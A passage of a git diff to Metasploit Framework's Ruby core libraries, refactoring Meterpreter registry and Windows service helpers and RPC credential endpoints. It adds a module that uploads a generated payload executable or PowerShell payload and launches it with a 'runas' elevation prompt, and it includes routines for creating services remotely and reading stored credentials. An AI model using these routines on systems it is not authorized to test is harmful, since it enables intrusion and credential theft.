session.sys.registry.open_key(root_key, base_key, KEY_READ) + perms = meterpreter_registry_perms(KEY_READ, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) keys = open_key.enum_key keys.each { |subkey| subkeys << subkey } open_key.close + return subkeys rescue Rex::Post::Meterpreter::RequestError => e return nil end - return subkeys end # # Enumerate the values in +key+ # - def meterpreter_registry_enumvals(key) - values = [] + def meterpreter_registry_enumvals(key, view) begin + values = [] vals = {} root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + perms = meterpreter_registry_perms(KEY_READ, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) vals = open_key.enum_value vals.each { |val| values << val.name } open_key.close + return values rescue Rex::Post::Meterpreter::RequestError => e return nil end - return values end # # Get the data stored in the value +valname+ # - def meterpreter_registry_getvaldata(key, valname) - value = nil + def meterpreter_registry_getvaldata(key, valname, view) begin + value = nil root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + perms = meterpreter_registry_perms(KEY_READ, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) v = open_key.query_value(valname) value = v.data open_key.close @@ -544,11 +493,12 @@ protected # # Enumerate the type and data of the value +valname+ # - def meterpreter_registry_getvalinfo(key, valname) + def meterpreter_registry_getvalinfo(key, valname, view) value = {} begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + perms = meterpreter_registry_perms(KEY_READ, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) v = open_key.query_value(valname) value["Data"] = v.data value["Type"] = v.type @@ -562,10 +512,11 @@ protected # # Add the value +valname+ to the key +key+ with the specified +type+ and +data+ # - def meterpreter_registry_setvaldata(key, valname, data, type) + def meterpreter_registry_setvaldata(key, valname, data, type, view) begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_WRITE) + perms = meterpreter_registry_perms(KEY_WRITE, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) open_key.set_value(valname, session.sys.registry.type2str(type), data) open_key.close return true diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb new file mode 100644 index 0000000000..f40c9ba6f1 --- /dev/null +++ b/lib/msf/core/post/windows/runas.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/powershell' +require 'msf/core/exploit/exe' + +module Msf::Post::Windows::Runas + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Powershell + + def shell_execute_exe(filename = nil, path = nil) + exe_payload = generate_payload_exe + payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + payload_path = path || get_env('TEMP') + cmd_location = "#{payload_path}\\#{payload_filename}" + print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") + write_file(cmd_location, exe_payload) + command, args = cmd_location, nil + shell_exec(command, args) + end + + def shell_execute_psh + powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + command = 'cmd.exe' + args = "/c #{powershell_command}" + shell_exec(command, args) + end + + def shell_exec(command, args) + print_status('Executing Command!') + session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW') + ::Timeout.timeout(30) do + select(nil, nil, nil, 1) until session_created? + end + end +end diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb index 2893e9b640..581428d42f 100644 --- a/lib/msf/core/post/windows/services.rb +++ b/lib/msf/core/post/windows/services.rb @@ -23,8 +23,29 @@ end # module Services + START_TYPE = ["Boot","System","Auto","Manual","Disabled"] + START_TYPE_BOOT = 0 + START_TYPE_SYSTEM = 1 + START_TYPE_AUTO = 2 + START_TYPE_MANUAL = 3 + START_TYPE_DISABLED = 4 + + SERVICE_STOPPED = 1 + SERVICE_START_PENDING = 2 + SERVICE_STOP_PENDING = 3 + SERVICE_RUNNING = 4 + SERVICE_CONTINUE_PENDING = 5 + SERVICE_PAUSE_PENDING = 6 + SERVICE_PAUSED = 7 + + include ::Msf::Post::Windows::Error + include ::Msf::Post::Windows::ExtAPI include ::Msf::Post::Windows::Registry + def advapi32 + session.railgun.advapi32 + end + # # Open the service manager with advapi32.dll!OpenSCManagerA on the # given host or the local machine if :host option is nil. If called @@ -42,12 +63,12 @@ module Services # OpenSCManagerA() # @yield [manager] Gives the block a manager handle as returned by # advapi32.dll!OpenSCManagerA. When the block returns, the handle - # will be closed with {#close_sc_manager}. + # will be closed with {#close_service_handle}. # @raise [RuntimeError] if OpenSCManagerA returns a NULL handle # def open_sc_manager(opts={}) host = opts[:host] || nil - access = opts[:access] || 0xF003F + access = opts[:access] || "SC_MANAGER_ALL_ACCESS" machine_str = host ? "\\\\#{host}" : nil # SC_HANDLE WINAPI OpenSCManager( @@ -55,16 +76,16 @@ module Services # _In_opt_ LPCTSTR lpDatabaseName, # _In_ DWORD dwDesiredAccess # ); - manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access) + manag = advapi32.OpenSCManagerA(machine_str,nil,access) if (manag["return"] == 0) - raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}") + raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}") end if (block_given?) begin yield manag["return"] ensure - close_sc_manager(manag["return"]) + close_service_handle(manag["return"]) end else return manag["return"] @@ -74,39 +95,115 @@ module Services # # Call advapi32.dll!CloseServiceHandle on the given handle # - def close_sc_manager(handle) + def close_service_handle(handle) if handle - session.railgun.advapi32.CloseServiceHandle(handle) + advapi32.CloseServiceHandle(handle) + end + end + + # + # Open the service with advapi32.dll!OpenServiceA on the + # target manager + # + # @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by + # OpenServiceA() + # @yield [manager] Gives the block a service handle as returned by + # advapi32.dll!OpenServiceA. When the block returns, the handle + # will be closed with {#close_service_handle}. + # @raise [RuntimeError] if OpenServiceA failed + # + def open_service_handle(manager, name, access) + handle = advapi32.OpenServiceA(manager, name, access) + if (handle["return"] == 0) + raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}") + end + + if (block_given?) + begin + yield handle["return"] + ensure + close_service_handle(handle["return"]) + end + else + return handle["return"] + end + end + + # Yield each service name on the remote host + # + # @todo Allow operating on a remote host + # @yield [String] Case-sensitive name of a service + def each_service(&block) + if load_extapi + session.extapi.service.enumerate.each(&block) + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + + keys = registry_enumkeys(serviceskey) + keys.each do |sk| + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type") + # From http://support.microsoft.com/kb/103000 + # + # 0x1 A Kernel device driver. + # + # 0x2 File system driver, which is also + # a Kernel device driver. + # + # 0x4 A set of arguments for an adapter. + # + # 0x10 A Win32 program that can be started + # by the Service Controller and that + # obeys the service control protocol. + # This type of Win32 service runs in + # a process by itself. + # + # 0x20 A Win32 service that can share a process + # with other Win32 services. + if srvtype == 32 || srvtype == 16 + yield sk + end + end + + keys end end # # List all Windows Services present # - # @return [Array] The names of the services. + # @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys: + # * :name + # * :display + # * :pid + # * :status + # * :interactive # # @todo Rewrite to allow operating on a remote host # def service_list - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - a =[] - services = [] - keys = registry_enumkeys(serviceskey) - keys.each do |s| - if a.length >= 10 - a.first.join - a.delete_if {|x| not x.alive?} - end - t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s - if srvtype == "32" or srvtype == "16" - services << sk - end - rescue + if load_extapi + return session.extapi.service.enumerate + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + a =[] + services = [] + keys = registry_enumkeys(serviceskey) + keys.each do |s| + if a.length >= 10 + a.first.join + a.delete_if {|x| not x.alive?} end - } - a.push(t) + t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s + if srvtype == "32" or srvtype == "16" + services << {:name => sk } + end + rescue + end + } + a.push(t) + end end return services @@ -119,6 +216,9 @@ module Services # command executed by the service. Service name is case sensitive. Hash # keys are Name, Start, Command and Credentials. # + # If ExtAPI is available we return the DACL, LOGroup, and Interactive + # values otherwise these values are nil + # # @param name [String] The target service's name (not to be confused # with Display Name). Case sensitive. # @@ -128,18 +228,24 @@ module Services # def service_info(name) service = {} - servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s - srvstart = registry_getvaldata(servicekey,"Start").to_i - if srvstart == 2 - service["Startup"] = "Auto" - elsif srvstart == 3 - service["Startup"] = "Manual" - elsif srvstart == 4 - service["Startup"] = "Disabled" + + if load_extapi + begin + return session.extapi.service.query(name) + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("Request Error #{e} falling back to registry technique") + end end - service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s - service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s + + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" + service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s + service[:starttype] = registry_getvaldata(servicekey,"Start").to_i + service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s + service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s + service[:dacl] = nil + service[:logroup] = nil + service[:interactive] = nil + return service end @@ -149,17 +255,68 @@ module Services # Mode is a string with either auto, manual or disable for the # corresponding setting. The name of the service is case sensitive. # - # @todo Rewrite to allow operating on a remote host # - def service_change_startup(name,mode) + def service_change_startup(name, mode, server=nil) + if mode.is_a? Integer + startup_number = mode + else + case mode.downcase + when "boot" then startup_number = START_TYPE_BOOT + when "system" then startup_number = START_TYPE_SYSTEM + when "auto" then startup_number = START_TYPE_AUTO + when "manual" then startup_number = START_TYPE_MANUAL + when "disable" then startup_number = START_TYPE_DISABLED + else + raise RuntimeError, "Invalid Startup Mode: #{mode}" + end + end + + if session.railgun + begin + ret = service_change_config(name, {:starttype => startup_number}, server) + return (ret == Error::SUCCESS) + rescue Rex::Post::Meterpreter::RequestError => e + if server + # Cant do remote registry changes at present + return false + else + vprint_error("Request Error #{e} falling back to registry technique") + end + end + end + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - case mode.downcase - when "auto" then - registry_setvaldata(servicekey,"Start","2","REG_DWORD") - when "manual" then - registry_setvaldata(servicekey,"Start","3","REG_DWORD") - when "disable" then - registry_setvaldata(servicekey,"Start","4","REG_DWORD") + registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD") + end + + # + # Modify a service on the session host + # + # @param name [String] Name of the service to be used as the key + # @param opts [Hash] Settings to be modified + # @param server [String,nil] A hostname or IP address. Default is the + # remote localhost + # + # @return [GetLastError] 0 if the function succeeds + # + def service_change_config(name, opts, server=nil) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle| + ret = advapi32.ChangeServiceConfigA(service_handle, + opts[:service_type] || "SERVICE_NO_CHANGE", + opts[:starttype] || "SERVICE_NO_CHANGE", + opts[:error_control] || "SERVICE_NO_CHANGE", + opts[:path] || nil, + opts[:logroup] || nil, + opts[:tag_id] || nil, + opts[:dependencies] || nil, + opts[:startname] || nil, + opts[:password] || nil, + opts[:display] || nil + ) + + return ret['GetLastError'] + end end end @@ -167,47 +324,48 @@ module Services # Create a service that runs +executable_on_host+ on the session host # # @param name [String] Name of the service to be used as the key - # @param display_name [String] Name of the service as displayed by mmc - # @param executable_on_host [String] EXE on the remote filesystem to - # be used as the service executable - # @param startup [Fixnum] Constant used by CreateServiceA for startup - # type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto + # @param opts [Hash] Settings to be modified # @param server [String,nil] A hostname or IP address. Default is the # remote localhost # - # @return [true,false] True if there were no errors, false otherwise + # @return [GetLastError] 0 if the function succeeds # - def service_create(name, display_name, executable_on_host, startup=2, server=nil) - adv = session.railgun.advapi32 + def service_create(name, opts, server=nil) + access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS" + open_sc_manager(:host=>server, :access=>access) do |manager| - # SC_MANAGER_CONNECT 0x01 - # SC_MANAGER_CREATE_SERVICE 0x02 - # SC_MANAGER_QUERY_LOCK_STATUS 0x10 - open_sc_manager(:host=>server, :access=>0x13) do |manager| - # SC_HANDLE WINAPI CreateService( - # __in SC_HANDLE hSCManager, - # __in LPCTSTR lpServiceName, - # __in_opt LPCTSTR lpDisplayName, - # __in DWORD dwDesiredAccess, - # __in DWORD dwServiceType, - # __in DWORD dwStartType, - # __in DWORD dwErrorControl, - # __in_opt LPCTSTR lpBinaryPathName, - # __in_opt LPCTSTR lpLoadOrderGroup, - # __out_opt LPDWORD lpdwTagId, - # __in_opt LPCTSTR lpDependencies, - # __in_opt LPCTSTR lpServiceStartName, - # __in_opt LPCTSTR lpPassword - #); - newservice = adv.CreateServiceA(manager, name, display_name, - 0x0010, 0X00000010, startup, 0, executable_on_host, - nil, nil, nil, nil, nil) - adv.CloseServiceHandle(newservice["return"]) - if newservice["GetLastError"] == 0 - return true - else - return false + opts[:display] ||= Rex::Text.rand_text_alpha(8) + opts[:desired_access] ||= "SERVICE_START" + opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS" + opts[:starttype] ||= START_TYPE_AUTO + opts[:error_control] ||= "SERVICE_ERROR_IGNORE" + opts[:path] ||= nil + opts[:logroup] ||= nil + opts[:tag_id] ||= nil + opts[:dependencies] ||= nil + opts[:startname] ||= nil + opts[:password] ||= nil + + newservice = advapi32.CreateServiceA(manager, + name, + opts[:display], + opts[:desired_access], + opts[:service_type], + opts[:starttype], + opts[:error_control], + opts[:path], + opts[:logroup], + opts[:tag_id], # out + opts[:dependencies], + opts[:startname], + opts[:password] + ) + + if newservice + close_service_handle(newservice["return"]) end + + return newservice["GetLastError"] end end @@ -224,27 +382,11 @@ module Services # @raise [RuntimeError] if OpenServiceA failed # def service_start(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server, :access=>1) do |manager| - # SC_HANDLE WINAPI OpenService( - # _In_ SC_HANDLE hSCManager, - # _In_ LPCTSTR lpServiceName, - # _In_ DWORD dwDesiredAccess - # ); - # open with access SERVICE_START (0x0010) - handle = adv.OpenServiceA(manager, name, 0x10) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = adv.StartServiceA(handle["return"],0,nil) - adv.CloseServiceHandle(handle["return"]) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_START") do |service_handle| + retval = advapi32.StartServiceA(service_handle,0,nil) - # This is terrible. Magic return values should be refactored to - # something meaningful. - case retval["GetLastError"] - when 0; return 0 # everything worked - when 1056; return 1 # service already started - when 1058; return 2 # service disabled + return retval["GetLastError"] end end end @@ -260,22 +402,21 @@ module Services # @raise (see #service_start) # def service_stop(name, server=nil) - adv = session.railgun.advapi32 + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_STOP") do |service_handle| - # SC_MANAGER_SERVICE_STOP (0x0020) - open_sc_manager(:host=>server, :access=>1) do |manager| - # open with SERVICE_STOP (0x0020) - handle = adv.OpenServiceA(manager, name, 0x20) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = adv.ControlService(handle["return"],1,56) - adv.CloseServiceHandle(handle["return"]) + retval = advapi32.ControlService(service_handle,1,28) + case retval["GetLastError"] + when Error::SUCCESS, + Error::INVALID_SERVICE_CONTROL, + Error::SERVICE_CANNOT_ACCEPT_CTRL, + Error::SERVICE_NOT_ACTIVE + status = parse_service_status_struct(retval['lpServiceStatus']) + else + status = nil + end - case retval["GetLastError"] - when 0; return 0 # worked - when 1062; return 1 # already stopped or disabled - when 1052; return 2 # cannot be stopped + return retval["GetLastError"] end end end @@ -286,24 +427,11 @@ module Services # @param (see #service_start) # def service_delete(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server) do |manager| - # Now to grab a handle to the service. - # Thank you, Wine project for defining the DELETE constant since it, - # and all its friends, are missing from the MSDN docs. - # #define DELETE 0x00010000 - handle = adv.OpenServiceA(manager, name, 0x10000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + open_service_handle(manager, name, "DELETE") do |service_handle| + ret = advapi32.DeleteService(service_handle) + return ret["GetLastError"] end - - # Lastly, delete it - adv.DeleteService(handle["return"]) - - adv.CloseServiceHandle(handle["return"]) - - handle["GetLastError"] end end @@ -318,38 +446,109 @@ module Services # # def service_status(name, server=nil) - adv = session.railgun.advapi32 ret = nil - - # 0x80000000 GENERIC_READ - open_sc_manager(:host => server, :access => 0x80000000) do |manager| - # Now to grab a handle to the service. - handle = adv.OpenServiceA(manager, name, 0x80000000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + + open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager| + open_service_handle(manager, name, "GENERIC_READ") do |service_handle| + status = advapi32.QueryServiceStatus(service_handle,28) + + if (status["return"] == 0) + raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}") + else + ret = parse_service_status_struct(status['lpServiceStatus']) + end end - - status = adv.QueryServiceStatus(handle["return"],28) - if (status["return"] == 0) - raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}") - end - - vals = status['lpServiceStatus'].unpack('L*') - adv.CloseServiceHandle(handle["return"]) - - ret = { - :type => vals[0], - :state => vals[1], - :controls_accepted => vals[2], - :win32_exit_code => vals[3], - :service_exit_code => vals[4], - :check_point => vals[5], - :wait_hint => vals[6] - } end - + return ret end + + # + # Performs an aggressive service (re)start + # If service is disabled it will re-enable + # If service is running it will stop and restart + # + # @param name [String] The service name + # @param start_type [Integer] The start type to configure if disabled + # @param server [String] The server to target + # + # @return [Boolean] indicating success + # + # + def service_restart(name, start_type=START_TYPE_AUTO, server=nil) + tried = false + + begin + status = service_start(name, server) + + if status == Error::SUCCESS + vprint_good("[#{name}] Service started") + return true + else + raise RuntimeError, status + end + rescue RuntimeError => s + if tried + vprint_error("[#{name}] Unhandled error: #{s}") + return false + else + tried = true + end + + case s.message.to_i + when Error::ACCESS_DENIED + vprint_error("[#{name}] Access denied") + when Error::INVALID_HANDLE + vprint_error("[#{name}] Invalid handle") + when Error::PATH_NOT_FOUND + vprint_error("[#{name}] Service binary could not be found") + when Error::SERVICE_ALREADY_RUNNING + vprint_status("[#{name}] Service already running attempting to stop and restart") + stopped = service_stop(name, server) + if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE)) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}") + end + when Error::SERVICE_DISABLED + vprint_status("[#{name}] Service disabled attempting to set to manual") + if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type") + end + else + vprint_error("[#{name}] Unhandled error: #{s}") + return false + end + end + end + + # + # Parses out a SERVICE_STATUS struct from the + # lpServiceStatus out parameter + # + # @param (lpServiceStatus) + # + # @return [Hash] Containing SERVICE_STATUS values + # + def parse_service_status_struct(lpServiceStatus) + if lpServiceStatus + vals = lpServiceStatus.unpack('V*') + return { + :type => vals[0], + :state => vals[1], + :controls_accepted => vals[2], + :win32_exit_code => vals[3], + :service_exit_code => vals[4], + :check_point => vals[5], + :wait_hint => vals[6] + } + else + return nil + end + end + end end diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 64f4870977..59cb021e94 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -175,25 +175,9 @@ module ShadowCopy print_status("Volume Shadow Copy service is running.") else print_status("Volume Shadow Copy service not running. Starting it now...") - begin - ss_result = service_start("VSS") - case ss_result - when 0 - print_status("Volume Shadow Copy started successfully.") - when 1 - print_error("Volume Shadow Copy already running.") - when 2 - print_error("Volume Shadow Copy is disabled.") - print_status("Attempting to re-enable...") - service_change_startup("VSS","manual") - ss_result = service_start("VSS") - if ss_result == 0 - return true - else - return false - end - end - rescue + if service_restart("VSS", START_TYPE_MANUAL) + print_good("Volume Shadow Copy started successfully.") + else print_error("Insufficient Privs to start service!") return false end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb index f2e5fc965d..a9db0fc3c5 100644 --- a/lib/msf/core/post/windows/wmic.rb +++ b/lib/msf/core/post/windows/wmic.rb @@ -27,7 +27,7 @@ module WMIC result_text = "" if datastore['SMBUser'] - if server.downcase == "localhost" || server.downcase.starts_with("127.") + if server.downcase == "localhost" || server.downcase.starts_with?('127.') raise RuntimeError, "WMIC: User credentials cannot be used for local connections" end end diff --git a/lib/msf/core/reference.rb b/lib/msf/core/reference.rb new file mode 100644 index 0000000000..53e426f35c --- /dev/null +++ b/lib/msf/core/reference.rb @@ -0,0 +1 @@ +Msf::Reference = Msf::Module::Reference diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index a5b488a38d..7245102226 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -21,7 +21,7 @@ class Client :port => 3790, :uri => '/api/', :ssl => true, - :ssl_version => 'SSLv3', + :ssl_version => 'TLS1', :context => {} }.merge(info) diff --git a/lib/msf/core/rpc/v10/rpc_auth.rb b/lib/msf/core/rpc/v10/rpc_auth.rb index 4157511536..ca1999aa5f 100644 --- a/lib/msf/core/rpc/v10/rpc_auth.rb +++ b/lib/msf/core/rpc/v10/rpc_auth.rb @@ -57,7 +57,7 @@ end res = self.service.tokens.keys begin if framework.db and framework.db.active - ::Mdm::ApiKey.find(:all).each do |k| + ::Mdm::ApiKey.all.each do |k| res << k.token end end diff --git a/lib/msf/core/rpc/v10/rpc_core.rb b/lib/msf/core/rpc/v10/rpc_core.rb index f484deec8d..ebe975d291 100644 --- a/lib/msf/core/rpc/v10/rpc_core.rb +++ b/lib/msf/core/rpc/v10/rpc_core.rb @@ -15,6 +15,11 @@ class RPC_Core < RPC_Base self.service.stop end + def rpc_getg(var) + val = framework.datastore[var] + { var.to_s => val.to_s } + end + def rpc_setg(var, val) framework.datastore[var] = val { "result" => "success" } diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 1691d5a9f0..438e3141db 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -4,6 +4,9 @@ module RPC class RPC_Db < RPC_Base private + + include Metasploit::Credential::Creation + def db self.framework.db.active end @@ -15,6 +18,21 @@ private self.framework.db.workspace end + def fix_cred_options(opts) + new_opts = fix_options(opts) + + # Convert some of are data back to symbols + if new_opts[:origin_type] + new_opts[:origin_type] = new_opts[:origin_type].to_sym + end + + if new_opts[:private_type] + new_opts[:private_type] = new_opts[:private_type].to_sym + end + + new_opts + end + def fix_options(opts) newopts = {} opts.each do |k,v| @@ -88,6 +106,76 @@ private public + def rpc_create_cracked_credential(xopts) + opts = fix_cred_options(xopts) + create_credential(opts) + end + + def rpc_create_credential(xopts) + opts = fix_cred_options(xopts) + core = create_credential(opts) + + ret = { + username: core.public.try(:username), + private: core.private.try(:data), + private_type: core.private.try(:type), + realm_value: core.realm.try(:value), + realm_key: core.realm.try(:key) + } + + if opts[:last_attempted_at] && opts[:status] + opts[:core] = core + opts[:last_attempted_at] = opts[:last_attempted_at].to_datetime + login = create_credential_login(opts) + + ret[:host] = login.service.host.address, + ret[:sname] = login.service.name + ret[:status] = login.status + end + ret + end + + def rpc_invalidate_login(xopts) + opts = fix_cred_options(xopts) + invalidate_login(opts) + end + + def rpc_creds(xopts) + ::ActiveRecord::Base.connection_pool.with_connection { + ret = {} + ret[:creds] = [] + opts, wspace = init_db_opts_workspace(xopts) + limit = opts.delete(:limit) || 100 + offset = opts.delete(:offset) || 0 + query = Metasploit::Credential::Core.where( + workspace_id: wspace + ).offset(offset).limit(limit) + query.each do |cred| + host = '' + port = 0 + proto = '' + sname = '' + unless cred.logins.empty? + login = cred.logins.first + host = login.service.host.address.to_s + sname = login.service.name.to_s if login.service.name.present? + port = login.service.port.to_i + proto = login.service.proto.to_s + end + ret[:creds] << { + :user => cred.public.username.to_s, + :pass => cred.private.data.to_s, + :updated_at => cred.private.updated_at.to_i, + :type => cred.private.type.to_s, + :host => host, + :port => port, + :proto => proto, + :sname => sname} + end + ret + } + end + def rpc_hosts(xopts) ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) @@ -129,7 +217,7 @@ public offset = opts.delete(:offset) || 0 conditions = {} - conditions[:state] = [ServiceState::Open] if opts[:only_up] + conditions[:state] = [Msf::ServiceState::Open] if opts[:only_up] conditions[:proto] = opts[:proto] if opts[:proto] conditions["hosts.address"] = opts[:addresses] if opts[:addresses] conditions[:port] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:ports] @@ -197,6 +285,7 @@ public res[:workspaces] = [] self.framework.db.workspaces.each do |j| ws = {} + ws[:id] = j.id ws[:name] = j.name ws[:created_at] = j.created_at.to_i ws[:updated_at] = j.updated_at.to_i @@ -207,7 +296,7 @@ public def rpc_current_workspace db_check - { "workspace" => self.framework.db.workspace.name } + { "workspace" => self.framework.db.workspace.name, "workspace_id" => self.framework.db.workspace.id } end def rpc_get_workspace(wspace) @@ -218,6 +307,7 @@ public if(wspace) w = {} w[:name] = wspace.name + w[:id] = wspace.id w[:created_at] = wspace.created_at.to_i w[:updated_at] = wspace.updated_at.to_i ret[:workspace] << w @@ -329,7 +419,7 @@ public sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port]) elsif(opts[:proto] && opts[:port]) conditions = {} - conditions[:state] = [ServiceState::Open] if opts[:up] + conditions[:state] = [Msf::ServiceState::Open] if opts[:up] conditions[:proto] = opts[:proto] if opts[:proto] conditions[:port] = opts[:port] if opts[:port] conditions[:name] = opts[:names] if opts[:names] @@ -490,33 +580,6 @@ public } end - def rpc_report_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = self.framework.db.report_auth_info(opts) - return { :result => 'success' } if(res) - { :result => 'failed' } - } - end - - def rpc_get_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - ret = {} - ret[:auth_info] = [] - # XXX: This method doesn't exist... - ai = self.framework.db.get_auth_info(opts) - ai.each do |i| - info = {} - i.each do |k,v| - info[k.to_sym] = v - end - ret[:auth_info] << info - end - ret - } - end - def rpc_get_ref(name) ::ActiveRecord::Base.connection_pool.with_connection { db_check @@ -828,42 +891,6 @@ public } end - # requires host, port, user, pass, ptype, and active - def rpc_report_cred(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = framework.db.find_or_create_cred(opts) - return { :result => 'success' } if res - { :result => 'failed' } - } - end - - #right now workspace is the only option supported - def rpc_creds(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - limit = opts.delete(:limit) || 100 - offset = opts.delete(:offset) || 0 - - ret = {} - ret[:creds] = [] - ::Mdm::Cred.find(:all, :include => {:service => :host}, :conditions => ["hosts.workspace_id = ?", - framework.db.workspace.id ], :limit => limit, :offset => offset).each do |c| - cred = {} - cred[:host] = c.service.host.address if(c.service.host) - cred[:updated_at] = c.updated_at.to_i - cred[:port] = c.service.port - cred[:proto] = c.service.proto - cred[:sname] = c.service.name - cred[:type] = c.ptype - cred[:user] = c.user - cred[:pass] = c.pass - cred[:active] = c.active - ret[:creds] << cred - end - ret - } - end def rpc_import_data(xopts) ::ActiveRecord::Base.connection_pool.with_connection { @@ -1046,7 +1073,7 @@ public end cdb = "" - if ::ActiveRecord::Base.connected? + if framework.db.connection_established? ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database cdb = conn.current_database diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index c87f2947be..bcbef0dd85 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -73,7 +73,7 @@ class RPC_Session < RPC_Base s = _valid_session(sid,"shell") s.exploit_datastore['LHOST'] = lhost s.exploit_datastore['LPORT'] = lport - s.execute_script('spawn_meterpreter', nil) + s.execute_script('post/multi/manage/shell_to_meterpreter') { "result" => "success" } end diff --git a/lib/msf/core/service_state.rb b/lib/msf/core/service_state.rb new file mode 100644 index 0000000000..41c398d6db --- /dev/null +++ b/lib/msf/core/service_state.rb @@ -0,0 +1,7 @@ +# The states that a service can be in. +module Msf::ServiceState + Closed = "closed" + Filtered = "filtered" + Open = "open" + Unknown = "unknown" +end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index dbe2e1d0a8..98f699fe6f 100644 --- 